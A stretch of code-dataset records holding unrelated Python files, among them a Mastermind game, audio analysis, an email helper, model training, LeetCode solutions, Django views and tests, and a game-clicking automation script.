{tup[1]} {tries}\\n\"\r\n data.remove(tup)\r\n # when click show leaderboard, show leaderboard (obviously)\r\n leaderboardButton[\"command\"] = lambda: showLeaderboard(leaderboardString)\r\n \r\n# Initalise entry for entering playerName\r\nplayerNameLabel = Label(root, height=3, font=fontInfo, bg=rootCol, text=\"Enter your name: \")\r\nplayerNameInput = Text(root, font=(fontType, 50), width=10, height=1, wrap=None)\r\nstartButton = Button(root, text=\"START\", font=fontInfo, command = lambda: playerName.set(playerNameInput.get(\"1.0\", \"end-1c\")))\r\n# Initialise rule-related widgets\r\nrulesButton = Button(root, text=\"Rules\", font=fontInfo, command = lambda: hidePNEntries(True))\r\nbackButton = Button(root, text=\"Back\", font=fontInfo, command = placePNEntries)\r\nrulesLabel = Label(root, font=(fontType, 13), bg=rootCol, text=rulesString, wraplength=400, justify=LEFT)\r\n# Show playerName-related widgets\r\nplacePNEntries()\r\n# Wait for button press\r\nstartButton.wait_variable(playerName)\r\n# Hide all previously created widgets.\r\nhidePNEntries(False)\r\n\r\n# Validate playerName input\r\nif playerName.get().isalpha() and len(playerName.get()) >= 3:\r\n playerName = playerName.get()\r\nelse:\r\n playerName = \"Player\"\r\n\r\n# Create board\r\nroot.geometry(\"500x730\")\r\nboard = Canvas(root, width= 300, height=720, bg=bgHex)\r\nboard.place(relx = .98, rely = 0.5, anchor=\"e\")\r\n \r\n'''\r\nrowList layout:\r\n\r\nrowList = [\r\n row [pegHole, pegHole, pegHole, pegHole, feedBackPegs [pegHole, pegHole, pegHole, pegHole]],\r\n row [pegHole, pegHole, pegHole, pegHole, feedBackPegs [pegHole, pegHole, pegHole, pegHole]],\r\n row ...\r\n\r\n hence:\r\n rowList[-1] = last row\r\n rowList[0-12] = rows\r\n \r\n rowList[-1][0-4] = peg holes\r\n rowList[-1][-1] = feedback peg container\r\n rowList[-1][-1][0-4] = feedback peg holes\r\n\r\n in the following code, \"-1\"s can usually be replaced by the for loop variable names (e.g. i, j etc)\r\n However, -1 is used to make it easier to understand.\r\n]\r\n'''\r\n\r\n# Create invisible solution frame (for game over)\r\nsolutionFrame = Frame(root ,width=300, height=720/rows, bg=rootCol)\r\nfor j in range(4):\r\n solutionList.append(PegHole(j, correctCode[j], solutionFrame))\r\n \r\n# Create canvas board\r\nfor i in range(rows):\r\n # Create row container\r\n frame = Frame(board, width = 300, height=720/rows, bg=bgHex)\r\n frame.place(relx = 0.5, rely=i/rows, anchor=\"n\")\r\n rowList.append([])\r\n # create main row objects\r\n for j in range(4):\r\n rowList[-1].append(PegHole(j, None, frame))\r\n # create feedback pin container\r\n pegContainer = Frame(frame, width= 300/5, height=780/rows, bg=bgHex)\r\n pegContainer.place(relx=4/5)\r\n rowList[-1].append([])\r\n # create feedback pin holes\r\n for j in range(2):\r\n for k in range(2):\r\n rowList[-1][-1].append(Label(pegContainer, bg=bgHex, image=images[\"MiniHole\"]))\r\n rowList[-1][-1][-1].place(relx=k/2,rely=j/2)\r\n \r\n# Create pegs\r\npegFrame = Frame(root, width=69, height=(len(possibleColours)+1)*74, bg=rootCol) # pegs = 68x74 pixels\r\npegFrame.place(relx=0.02, rely=0.02)\r\n\r\nfor i, v in enumerate(possibleColours):\r\n pegImage = images[f\"{v}_Peg\"]\r\n pegList.append(Label(pegFrame, image=pegImage, bg=rootCol))\r\n pegList[-1].place(rely=i/6)\r\n pegList[-1].bind(\"\", partial(pegDropped, v))\r\n pegList[-1].bind(\"\", partial(pegMoving, pegImage))\r\n\r\n# Make buttons\r\ncheckButton = Button(root, text=\"CHECK\", font=fontInfo)\r\nresetButton = Button(root, text=\"RESET\", font=fontInfo, command=resetRow)\r\nresetButton.place(relx=0.02, rely=0.73)\r\nnewGameButton = Button(root, text=\"NEW GAME\", font=fontInfo, command=newGame)\r\nleaderboardButton = Button(root, text=\"SHOW LEADERBOARD\", font=(fontType,12))\r\nhideLeaderboardButton = Button(root, text=\"BACK\", font=fontInfo, command=hideLeaderboard)\r\n# Make labels\r\ngameOverLabel = Label(root, font=fontInfo, bg=rootCol, text=rulesString, wraplength=400, justify=LEFT)\r\nleaderboardLabel = Label(root, font=fontInfo, bg=rootCol, text=rulesString, wraplength=400, justify=LEFT)\r\nduplicateHolder = Label(root, bg=rootCol)\r\n","sub_path":"Mastermind.py","file_name":"Mastermind.py","file_ext":"py","file_size_in_byte":15296,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"148402293","text":"# import os,sys\n# PROGRAM_DIR = os.path.dirname(os.path.abspath(sys.argv[0]))\n\n# sys.path.append(PROGRAM_DIR+ \"\\\\windows\\\\ffmpeg.exe\")\n# print(sys.path)\nfrom pyAudioAnalysis import audioBasicIO\nfrom pyAudioAnalysis import ShortTermFeatures\nimport matplotlib.pyplot as plt\nfrom numpy import fft\nimport numpy as np\nimport pyspark\nimport time\nimport matplotlib.pyplot as plt\nimport math\nimport numpy as np\nfrom scipy.spatial.distance import euclidean\n\nfrom fastdtw import fastdtw\nDEBUG = True\n\n\ndef cov_fft(image_link): # name\n [Fs, x] = audioBasicIO.read_audio_file(image_link)\n x = audioBasicIO.stereo_to_mono(x)\n F, f_names = ShortTermFeatures.feature_extraction(\n x, Fs, 0.050*Fs, 0.025*Fs)\n# for k in F:\n# norm = np.linalg.norm(k)\n# k = k/norm\n if DEBUG and False:\n for k in range(33):\n plt.subplot(2, 1, 1)\n plt.plot(F[k, :], label=str(k))\n plt.xlabel('Frame no')\n plt.ylabel(f_names[k])\n\n plt.show()\n F = F / np.linalg.norm(F, axis = 1, keepdims = True)\n\n return F, fft.fftn(F)\n\n\ndef cal_ifft(arr, ffty, maxcount=5):\n resarr = []\n for item in arr:\n ifftres = np.array([np.real(fft.irfft(p))\n for p in item * np.conj(ffty)])\n ifftres = ifftres / np.linalg.norm(ifftres, axis = 1, keepdims = True)\n # from scipy.signal import savgol_filter\n # ifftres = savgol_filter(ifftres, 51, 2)\n\n # box = np.ones(20)/20\n # ifftres = np.array([np.convolve(item, box, mode='full') for item in ifftres])\n if DEBUG:\n # for item in ifftres.copy():\n # plt.plot(item)\n # plt.show()\n plt.plot(ifftres.T)\n plt.show()\n zscore = []\n maxidx = np.argmax(ifftres, axis=1)\n for idx, row in zip(maxidx, ifftres):\n zscore.append([idx, (idx - row.mean(axis=0)) / row.std(axis=0)])\n\n print(sorted(zscore, key=lambda p: p[0]), ifftres.shape)\n cost = ifftres/np.max(ifftres)\n resarr.append(cost)\n return resarr[:maxcount]\n\ndef cov_dtw(image_link): # name\n [Fs, x] = audioBasicIO.read_audio_file(image_link)\n x = audioBasicIO.stereo_to_mono(x)\n F, f_names = ShortTermFeatures.feature_extraction(\n x, Fs, 0.050*Fs, 0.025*Fs)\n\n if DEBUG and False:\n for k in range(33):\n plt.subplot(2, 1, 1)\n plt.plot(F[k, :], label=str(k))\n plt.xlabel('Frame no')\n plt.ylabel(f_names[k])\n\n plt.show()\n F = F / np.linalg.norm(F, axis=1, keepdims=True)\n\n return F\n\n\nif '__main__' == __name__:\n start_time = time.time()\n F, fff = cov_fft('back.mp3')\n #F = np.random.randn(100, 1)\n print(F.shape, fff.shape)\n plt.plot(F.T)\n plt.show()\n\n #V, ffv = cov_fft('iyah.mp3')\n # print(V.shape, V.shape)\n\n #V = V[:,720:1000].copy()\n V = F[:, 999:2000].copy()\n if F.shape[1] > V.shape[1]:\n V = np.concatenate(\n (V,np.zeros((F.shape[0], F.shape[1]-V.shape[1]))), axis=1) #np.random.rand(F.shape[0], F.shape[1]-V.shape[1])), axis=1)\n fff = fft.fftn(F)\n vvv =fft.fftn(V)\n else:\n F = np.concatenate(\n (F, np.zeros((F.shape[0], F.shape[1]-V.shape[1]))), axis=1)\n fff = fft.fftn(F)\n vvv =fft.fftn(V)\n plt.plot(V.T)\n plt.show()\n print(\"---{}s seconds---\".format(time.time()-start_time))\n cal_ifft([fff], vvv)\n print(\"---{}s seconds---\".format(time.time()-start_time))\n\n distance, path = fastdtw(F.T, V.T, dist=euclidean)\n print(distance)\n plt.plot(path)\n plt.show()","sub_path":"featureextraction.py","file_name":"featureextraction.py","file_ext":"py","file_size_in_byte":3617,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"11048113","text":"\"\"\" email sending \n\"\"\"\n\nfrom email.mime.multipart import MIMEMultipart\nfrom email.mime.text import MIMEText\nfrom email.mime.base import MIMEBase\nfrom email import encoders\nimport smtplib\n\n\ndef email(FROM,\n TO,\n subject=\"\",\n text=\"\",\n html=\"\",\n SMTP='127.0.0.1',\n LOGIN=[],\n sender=\"\",\n replyto=\"\",\n attachments={}):\n \"\"\"send a multipart plain text (or html) message, using given SMTP\n - Optional LOGIN (ie SMTP validation) must give (,)\n - allows for a list of recipients in TO: each gets a separate email, ie bcc\n\n - attachment expects a dictionary of {filename:content}\n \"\"\"\n if not (FROM and TO and SMTP):\n # print \"EMAIL DISABLED >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\"\n return # email is disabled or invalid, so do nothing\n # set up our message\n root = MIMEMultipart('related')\n root['Subject'] = subject\n if sender:\n root['From'] = '\"%s\" <%s>' % (sender, FROM)\n else:\n root['From'] = FROM\n if replyto:\n root['Reply-To'] = replyto\n if isinstance(TO, str):\n TO = [TO]\n root.preamble = 'This is a multi-part message in MIME format.'\n # add our alternative versions\n alt = MIMEMultipart('alternative')\n root.attach(alt)\n if html:\n alt.attach(MIMEText(html, 'html'))\n else:\n alt.attach(MIMEText(text))\n\n # include attachments\n for filename, content in list(attachments.items()):\n part = MIMEBase('application', 'octet-stream')\n part.set_payload(content)\n encoders.encode_base64(part)\n part.add_header('Content-Disposition',\n 'attachment; filename=%s' % filename)\n root.attach(part)\n\n # send our message(s)\n try:\n smtp = smtplib.SMTP()\n smtp.connect(SMTP)\n if LOGIN:\n smtp.login(*LOGIN)\n for t in TO:\n try:\n root['To'] = t\n smtp.sendmail(FROM, t, root.as_string())\n # print \"SENT: FROM=\",FROM,' TO=',t,' ROOT=', root.as_string()\n del root[\n 'To'] # need to del this, as the message class __setitem__ appends rather than replaces\n except:\n print(\"SENDMAIL REFUSAL: FROM=\", FROM, ' TO=', t, ' ROOT=',\n root.as_string())\n smtp.quit()\n except:\n print(\"SMTP CONNECT ERROR: FROM=\", FROM, ' TO=', TO, ' ROOT=',\n root.as_string())\n","sub_path":"evoke/lib/email.py","file_name":"email.py","file_ext":"py","file_size_in_byte":2512,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"462850239","text":"import json\nimport os\n\nimport torch\nimport torch.nn as nn\nfrom torch.autograd import Variable\n\nimport data_loader\nfrom model import resnet\nfrom util import util\n\n# For updating learning rate\ndef update_lr(optimizer, lr):\n for param_group in optimizer.param_groups:\n param_group['lr'] = lr\n\n\n# get params from config file\nconfig = util.read_config()\nconfig_train = config['train_param']\n\ntotal_epochs = config_train['total_epochs']\nlearning_rate = config_train['learning_rate']\nbatch_size = config_train['batch_size']\n\n# set model\nresnet = resnet.resnet50(num_classes=6)\nresnet.cuda()\n\n# set loss function and optimizer\ncriterion = nn.CrossEntropyLoss()\noptimizer = torch.optim.Adam(resnet.parameters(), lr=learning_rate)\n\nlr_scheduler = torch.optim.lr_scheduler.ReduceLROnPlateau(optimizer, mode='min', factor=0.5, patience=10)\n\n# 학습과 테스트에 필요한 데이터 셋 객체를 만든다.\n# 그리고 데이터 셋 객체를 활용해 데이터 로더 객체를 만든다.\ntrain_data = data_loader.CustomDataset(is_train=True)\ntest_data = data_loader.CustomDataset(is_train=False)\n\ntrain_loader = torch.utils.data.DataLoader(dataset=train_data,\n batch_size=batch_size,\n shuffle=True,\n drop_last=True)\n\ntest_loader = torch.utils.data.DataLoader(dataset=test_data,\n batch_size=batch_size,\n shuffle=False)\n\ncurr_lr = learning_rate\ntotal_iter = int(train_data.__len__() / batch_size)\n\nfor epoch in range(total_epochs):\n resnet.train()\n for i, sample in enumerate(train_loader):\n images = Variable(sample['image'].cuda())\n labels = Variable(sample['label'].cuda())\n labels = labels.squeeze()\n\n optimizer.zero_grad()\n outputs = resnet(images)\n loss = criterion(outputs, labels)\n loss.backward()\n optimizer.step()\n\n if (i + 1) % 20 == 0:\n print(\"Epoch [%d/%d], Iter [%d/%d] Loss: %.4f\" % (epoch + 1, total_epochs,\n (i + 1), total_iter, loss.item()))\n\n # Decay learning rate\n if (epoch + 1) % 20 == 0:\n curr_lr /= 3\n update_lr(optimizer, curr_lr)\n\n if (epoch + 1) % 5 != 0:\n continue\n\n # Test\n correct = 0\n total = 0\n resnet.eval()\n for i, sample in enumerate(test_loader):\n images = Variable(sample['image'].cuda())\n labels = sample['label']\n sq_label = labels.squeeze()\n\n outputs = resnet(images)\n _, predicted = torch.max(outputs.data, 1)\n total += sq_label.size(0)\n correct += (predicted.cpu() == sq_label).sum()\n print('Accuracy of the model on the sample_dir images: %d%%\\n' % (100 * correct / total))\n\n if (epoch + 1) % 10 == 0:\n checkpoint_dir = os.path.abspath('./checkpoint/')\n model_name = '%s_%d.pth' % ('scratch_v2', (epoch + 1))\n save_path = os.path.join(checkpoint_dir, model_name)\n torch.save(resnet.state_dict(), save_path)\n","sub_path":"face_classifier/train_scratch.py","file_name":"train_scratch.py","file_ext":"py","file_size_in_byte":3138,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"94962188","text":"import random\r\n\r\ndef rockPaperScissors():\r\n programSelect = (random.choice([\"rock\", \"paper\", \"scissors\"]))\r\n playerChoice = input(\"Rock, paper, scissors? \").lower()\r\n\r\n if programSelect == playerChoice:\r\n restart = input(\"Draw, play again? [y or n]\").lower()\r\n playAgain(restart)\r\n elif (programSelect == \"rock\" and playerChoice == \"scissors\") or (programSelect == \"scissors\" and playerChoice == \"paper\") or (programSelect == \"paper\" and playerChoice == \"rock\"):\r\n restart = input(\"You lose! Play again? [y or n]\").lower()\r\n playAgain(restart)\r\n elif (playerChoice == \"rock\" and programSelect == \"scissors\") or (playerChoice == \"scissors\" and programSelect == \"paper\") or (playerChoice == \"paper\" and programSelect == \"rock\"):\r\n restart = input(\"You win! Play again? [y or n]\").lower()\r\n playAgain(restart)\r\n else:\r\n restart = input(\"Computer *facepalms: Play again? [y or n]\").lower()\r\n playAgain(restart)\r\n\r\ndef playAgain(restart):\r\n if restart != \"y\" and restart != \"n\":\r\n print(\"Oy-vey. Let's just play again (--_)\")\r\n elif restart == \"n\":\r\n exit()\r\n\r\n#main\r\ngameRunning = True\r\nwhile gameRunning:\r\n rockPaperScissors()\r\n","sub_path":"RockPaperScissors.py","file_name":"RockPaperScissors.py","file_ext":"py","file_size_in_byte":1222,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"118692222","text":"class Solution(object):\n def twoSum(self, nums, target):\n \"\"\"\n :type nums: List[int]\n :type target: int\n :rtype: List[int]\n \"\"\"\n nums1 = sorted(nums)\n i, j = 0, len(nums1)-1 \n while(i target):\n j -= 1\n elif(temp < target):\n i += 1\n elif(temp==target):\n # print(\"index1=%d, index2=%d\"%(i+1,j+1))\n a = nums.index(nums1[i])\n if(nums1[i]==nums1[j]):\n b = nums.index(nums1[j], a+1)\n else:\n b = nums.index(nums1[j])\n return [min(a,b)+1,max(a,b)+1]\n \n\ns = Solution()\nnums=[0,3,2,4,0]\nprint(s.twoSum(nums,5)) ","sub_path":"ok_p_1.py","file_name":"ok_p_1.py","file_ext":"py","file_size_in_byte":805,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"653506697","text":"from django.shortcuts import render\n\n# Create your views here.\nimport logging\n\n\nfrom base import resp\nfrom base.common.decorators import check_params_not_null\nfrom base.common.param_utils import get_id_list\nfrom base.views import BaseAPIView\nfrom nmis.hospitals.permissions import HospitalStaffPermission\nfrom nmis.notices.models import Notice, UserNotice\nfrom nmis.notices.serializers import UserNoticeSerializer\nfrom utils import times\n\nlogger = logging.getLogger(__name__)\n\n\nclass NoticeListView(BaseAPIView):\n permission_classes = (HospitalStaffPermission,)\n\n def get(self, req):\n \"\"\"\n 获取消息列表(筛选调教：已读/未读)\n is_read: false: 未读, true: 已读 None: 全部\n \"\"\"\n self.check_object_any_permissions(req, None)\n staff = req.user.get_profile()\n is_read = req.GET.get('is_read', '').strip()\n if is_read:\n if is_read not in ('False', 'True'):\n return resp.failed('is_read参数异常')\n query_set = UserNoticeSerializer.setup_eager_loading(\n UserNotice.objects.filter(staff=staff, is_read=is_read, is_delete=False).order_by('-created_time')\n )\n else:\n query_set = UserNoticeSerializer.setup_eager_loading(\n UserNotice.objects.filter(staff=staff, is_delete=False).order_by('-created_time')\n )\n return self.get_pages(query_set, results_name='notices')\n\n\nclass NoticeReadOrDeleteView(BaseAPIView):\n\n permission_classes = (HospitalStaffPermission, )\n\n @check_params_not_null(['notice_ids', 'op_type'])\n def put(self, req):\n \"\"\"\n 读取消息/删除消息（标记单个/多条消息为删除状态，标记单个/多条消息为已读状态）\n type: 操作类型（删除操作：DE、读取操作:RE）必传字段\n notice_ids: 消息ids集合字符串，如：\"1,2,3\" 必传字段\n \"\"\"\n staff = req.user.get_profile()\n self.check_object_permissions(req, staff)\n\n notice_ids = get_id_list(req.data.get('notice_ids', '').strip())\n\n operation_type = req.data.get('op_type', '').strip()\n if operation_type not in ('RE', 'DE'):\n return resp.failed('不合法的操作类型数据')\n\n user_notices = UserNotice.objects.filter(notice_id__in=notice_ids, staff=staff)\n if not len(notice_ids) == len(user_notices):\n return resp.failed('检查是否存在不匹配的消息')\n try:\n if operation_type == 'RE':\n user_notices = user_notices.filter(is_read=False)\n if not user_notices:\n return resp.failed('当前页不存在未读消息')\n user_notices.update(is_read=True, read_time=times.now())\n else:\n # 选中的消息存在未读的情况下未考虑，直接标记成删除状态，如需考虑，后续改进\n user_notices.update(is_delete=True, delete_time=times.now())\n return resp.ok('操作成功')\n except Exception as e:\n logger.exception(e)\n return resp.failed('操作失败')\n\n\nclass NoticeReadOrDeleteAllView(BaseAPIView):\n\n permission_classes = (HospitalStaffPermission, )\n\n @check_params_not_null(['op_type'])\n def put(self, req):\n \"\"\"\n op_type: 操作类型（全部标为已读(RE): 所有未读消息标记为已读, 删除全部已读(DE): 所以已读消息标记为删除）\n 根据操作类型把消息标记为相对应的状态\n \"\"\"\n staff = req.user.get_profile()\n self.check_object_permissions(req, staff)\n\n operation_type = req.data.get('op_type', '').strip()\n if operation_type not in ('ARE', 'ADE'):\n return resp.failed('不合法的操作类型数据')\n\n try:\n if operation_type == 'ARE':\n query_set = UserNotice.objects.filter(staff=staff, is_read=False, is_delete=False)\n if not query_set:\n return resp.failed('不存在未读消息')\n query_set.update(is_read=True, read_time=times.now())\n else:\n query_set = UserNotice.objects.filter(staff=staff, is_read=True, is_delete=False)\n if not query_set:\n return resp.failed('当前用户不存在可删除的消息')\n query_set.update(is_delete=True, delete_time=times.now())\n return resp.ok('操作成功')\n except Exception as e:\n logger.info(e)\n return resp.failed('操作失败')\n\n","sub_path":"apps/nmis/notices/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4605,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"168608951","text":"def multi_dict(dicts):\n\tval_final = 1\n\tfor key in dicts:\n\t\tval_final = val_final * dicts[key] \n\treturn val_final\n\n\nprint(multi_dict({1:2,2:3,3:55,4:75,5:100}))\t\n\n#https://www.programiz.com/python-programming/methods/dictionary/values","sub_path":"tech_tests/dict drills/py_dict_11.py","file_name":"py_dict_11.py","file_ext":"py","file_size_in_byte":233,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"487887824","text":"#begin\nimport sys\nfrom OriginalScanner import Token\nfrom OriginalScanner import Escaner\nfrom OriginalScanner import Posicion\n\nclass Parser( object ):\n#!constantes\n T= True\n x= False\n distancia_minima_de_error = 2\n\n#!declarations\n def __init__( self ):\n self.escaner= None\n self.token= None \n self.lookahead_token= None \n self.escaner_generado = False\n self.string_del_token = '' \n self.tokens_literales= '-none-' \n self.error_de_distancia= Parser.distancia_minima_de_error\n\n def obtener_posicion_del_parser( self ):\n return self.lookahead_token.tipo_token, self.lookahead_token.columna_token\n\n def sincronizar_errores( self, error_numeral ):\n if self.error_de_distancia >= Parser.distancia_minima_de_error:\n print(\"errores de sync\")\n\n self.error_de_distancia = 0\n\n def error_semantico( self, mensaje ):\n if self.error_de_distancia >= Parser.distancia_minima_de_error:\n print(\"Errores semanticos\")\n\n self.error_de_distancia = 0\n\n def mensaje_de_aviso( self, mensaje ):\n if self.error_de_distancia >= Parser.distancia_minima_de_error:\n print(\"advertir errores\")\n\n self.error_de_distancia = 0\n\n def logro_entrar_el_mensaje( self ):\n print(\"contador de errores\")\n\n def string_lexico( self ):\n return self.token.token_valor\n\n def string_look_ahead( self ):\n return self.lookahead_token.token_valor\n\n def Get( self ):\n while True:\n self.token = self.lookahead_token\n self.lookahead_token = self.escaner.Escanear( )\n if self.lookahead_token.tipo_token <= Parser.maxT:\n self.error_de_distancia += 1\n break\n#!pragmas\n self.lookahead_token = self.token\n\n def Expect( self, i ):\n if self.lookahead_token.tipo_token == i:\n self.Get( )\n else:\n self.sincronizar_errores(i)\n\n def Marcar_inicio( self,i):\n return self.set[i][self.lookahead_token.tipo_token]\n\n def Esperar_Bajo( self, n, follow ):\n if self.lookahead_token.tipo_token == n:\n self.Get( )\n else:\n self.sincronizar_errores( n )\n while not self.Marcar_inicio(follow):\n self.Get( )\n\n def separador_bajo( self, n, syFollow, repFollow ):\n a = [ False for i in xrange( Parser.maxT+1 ) ]\n if self.lookahead_token.tipo_token == n:\n self.Get( )\n return True\n elif self.Marcar_inicio(repFollow):\n return False\n else:\n for i in xrange( Parser.maxT ):\n a[i] = self.set[syFollow][i] or self.set[repFollow][i] or self.set[0][i]\n self.sincronizar_errores( n )\n while not a[self.lookahead_token.tipo_token]:\n self.Get( )\n return self.Marcar_inicio( syFollow )\n\n#!productions\n\n def Parsear( self, escaner ):\n self.escaner = escaner\n self.lookahead_token = Token( )\n self.lookahead_token.token_valor = u''\n self.Get( )\n \n#!parseRoot\n\n set = [\n#!initialization\n ]\n\n mensaje_de_error = {\n#!errors\n }\n archivo_seleccionado = open(\"grammar_values.txt\", \"r+\")\n archivo_seleccionado = archivo_seleccionado.read()\n x = archivo_seleccionado.split(\",\")\n #print(\"Arreglo\", x)\n reglas = open(\"reglas.txt\", \"r+\")\n reglas = reglas.read()\n follows = open(\"follows.txt\", \"r+\")\n follows = follows.read()\n firsts = open(\"firsts.txt\", \"r+\")\n firsts = firsts.read()\n n = -1 \n for i in x:\n n = n + 1 \n #get_index = (archivo_seleccionado.index(i))\n print(\"VALUE: \" + str(n) + \" \" + i)\n \n \n print(\"-----------------------------------------\")\n reglas = reglas.replace(\"\\n\", \" \")\n reglas = reglas.replace(\"\\t\", \" \")\n print(\"REGLAS\", reglas)\n print(\"-----------------------------------------\")\n follows = follows.replace(\"\\n\", \" \")\n follows = follows.replace(\"\\t\", \" \")\n print(\"FOLLOW\", follows)\n print(\"-----------------------------------------\")\n firsts = firsts.replace(\"\\n\", \" \")\n firsts = firsts.replace(\"\\t\", \" \")\n print(\"FIRSTS\", firsts)\n \n \n \n\n\n\n","sub_path":"Parser.py","file_name":"Parser.py","file_ext":"py","file_size_in_byte":4096,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"470053056","text":"n=85\nm=(85**2)\ne=n/3\nif n%2==0:\n\tprint('Chetnoe')\nif n%2!=0:\n\tprint('Ne chotn')\nif (m>1000):\n\tprint('Yes')\nif (m<1000):\n\tprint('No')\nif e==True:\n\tprint('Da')\nelse:\n\tprint('No')\n\n\t\n\n","sub_path":"pr 5.py","file_name":"pr 5.py","file_ext":"py","file_size_in_byte":181,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"54388243","text":"from django.test import TestCase\n\nfrom .models import Task\nfrom django.utils import timezone\n\n# Create your tests here.\nclass ToDoModelTests(TestCase):\n def test_text_field(self):\n text_field = \"Task #1\"\n task = Task(task_text=text_field)\n self.assertEqual(task.task_text, text_field)\n \n def test_date_field(self):\n date = timezone.now()\n task = Task(task_text=\"#\", pub_date=date)\n self.assertEqual(task.pub_date, date)\n ","sub_path":"django_project/to_do/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":483,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"339039228","text":"import pytest\n\nfrom .base_integration_test import BaseIntegrationTest\nfrom tests.sampleresponse.disbursement import disbursement_response\nfrom tests.sampleresponse.disbursement import disbursement_banks_response\n\n\nclass TestDisbursement(BaseIntegrationTest):\n @pytest.fixture(scope=\"class\")\n def Disbursement(self, xendit_instance):\n return xendit_instance.Disbursement\n\n @pytest.fixture(scope=\"class\")\n def disbursement_data(self, Disbursement):\n disbursement = Disbursement.create(\n external_id=\"demo_1475459775872\",\n bank_code=\"BCA\",\n account_holder_name=\"Bob Jones\",\n account_number=\"1231242311\",\n description=\"Reimbursement for shoes\",\n amount=17000,\n )\n return disbursement\n\n def test_create_disbursement_return_correct_keys(self, disbursement_data):\n disbursement = disbursement_data\n self.assert_returned_object_has_same_key_as_sample_response(\n disbursement, disbursement_response()\n )\n\n def test_get_disbursement_by_id_return_correct_keys(\n self, Disbursement, disbursement_data\n ):\n disbursement = disbursement_data\n\n disbursement = Disbursement.get(id=disbursement.id)\n self.assert_returned_object_has_same_key_as_sample_response(\n disbursement, disbursement_response()\n )\n\n def test_get_disbursement_by_external_id_return_correct_keys(self, Disbursement):\n disbursement = Disbursement.get_by_ext_id(external_id=\"demo_1475459775872\")\n self.assert_returned_object_has_same_key_as_sample_response(\n disbursement[0], disbursement_response()\n )\n\n def test_get_disbursement_banks_return_correct_keys(self, Disbursement):\n disbursement_banks = Disbursement.get_available_banks()\n self.assert_returned_object_has_same_key_as_sample_response(\n disbursement_banks[0], disbursement_banks_response()[0]\n )\n","sub_path":"tests/integration/test_disbursement.py","file_name":"test_disbursement.py","file_ext":"py","file_size_in_byte":1970,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"372009584","text":"# This function takes a string of characters and returns a list of two numbers\n# in which the first number is the number of capital letters per line\n# and the second is the number of lowercase letters per line.\n\n\ndef rec(string):\n \"\"\"\n\n :param string: str, wAt’rh7rJjoa\n :return: list, [2, 8]\n\n :param string: int, 57679\n :return: list, [0, 0]\n\n \"\"\"\n if len(string) == 0:\n return [0, 0]\n res = rec(string[1:])\n if 96 < ord(string[0]) < 123:\n return [res[0], res[1] + 1]\n elif 64 < ord(string[0]) < 91:\n return [res[0] + 1, res[1]]\n return res\n\n\nprint(rec(input()))\n","sub_path":"n10.py","file_name":"n10.py","file_ext":"py","file_size_in_byte":621,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"83494880","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Apr 28 10:49:38 2018\n\n@author: Shubham\n\"\"\"\nimport re\nimport operator\n\nclass Solution:\n \n def mostCommonWord(self, paragraph, banned):\n paragraph = re.sub(r'[^\\w\\s]','',paragraph)\n paragraph.lower()\n word_list = paragraph.split()\n freq_dict = {i:word_list.count(i) for i in set(word_list)}\n freq_dict_sorted = sorted(freq_dict.items(), key = operator.itemgetter(1), reverse = True)\n for ele in freq_dict_sorted:\n if ele[0] in banned:\n continue\n ans = ele[0]\n return ans\n \nif __name__ == \"__main__\":\n \n sol = Solution()\n str1 = \"Bob hit a ball, the hit BALL flew far after it was hit.\"\n banned = [\"hit\"]\n ans = sol.mostCommonWord(str1, banned)\n print (ans)","sub_path":"leetcode/Python/819_most_common_word.py","file_name":"819_most_common_word.py","file_ext":"py","file_size_in_byte":818,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"280861519","text":"import sys\nimport os\nimport time\nimport random\nimport pyautogui as pg\npg.PAUSE = 1\n\nfrom pyscreeze import ImageNotFoundException\n\ndef handler(func, *args):\n return func(*args)\n\ndef hoge():\n print(\"hoge\")\n\ndef ckick(locate):\n print(\"click\", locate)\n return pg.click(locate)\n\ndef wait(locate):\n print(\"wait\", locate)\n pg.click(locate)\n time.sleep(61 * 60)\n # time.sleep(5)\n pg.press('esc')\n\ndef sttup(locate):\n print(\"click\", locate)\n pg.click(locate)\n time.sleep(3 * 60)\n\ndef crash(locate):\n print(\"\\ndetect crash\\n\")\n locate = pg.locateCenterOnScreen(\"crash_ok.png\", confidence=0.90)\n click(locate)\n\nd = {\n \"sttup\": {\n \"pic\": \"sttup.png\",\n \"func\": sttup,\n },\n \"creative_button\": {\n \"pic\": \"creative_button.png\",\n \"func\": ckick,\n },\n \"play\": {\n \"pic\": \"play.png\",\n \"func\": ckick,\n },\n \"play2\": {\n \"pic\": \"play2.png\",\n \"func\": ckick,\n },\n \"pickel\": {\n \"pic\": \"pickel.png\",\n \"func\": wait,\n },\n \"leave\": {\n \"pic\": \"leave.png\",\n \"func\": ckick,\n },\n \"leave_from_creative\": {\n \"pic\": \"leave_from_creative.png\",\n \"func\": ckick,\n },\n \"leave_from_creative_red\": {\n \"pic\": \"leave_from_creative_red.png\",\n \"func\": ckick,\n },\n \"kakutoku\": {\n \"pic\": \"kakutoku.png\",\n \"func\": ckick,\n },\n \"kakutoku2\": {\n \"pic\": \"kakutoku2.png\",\n \"func\": ckick,\n 